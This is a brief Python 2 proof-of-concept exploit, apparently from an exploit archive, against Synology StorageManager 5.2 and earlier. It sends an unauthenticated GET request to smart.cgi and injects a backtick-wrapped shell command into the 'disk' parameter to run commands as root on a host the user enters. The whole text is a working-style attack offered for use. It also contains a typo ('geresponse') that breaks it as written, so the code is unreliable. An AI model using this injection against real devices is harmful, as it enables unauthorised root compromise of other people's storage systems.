Synology StorageManager smart.cgi Remote Command Execution

                                                # Synology StorageManager <= 5.2 Remote Root Command Execution

import httplib

HOST = raw_input("Enter Host: ")

#IDOR to bypass auth and ticks to chain commands
conn = httplib.HTTPConnection(HOST)
conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")
res = conn.geresponse()
print res.status, res.reason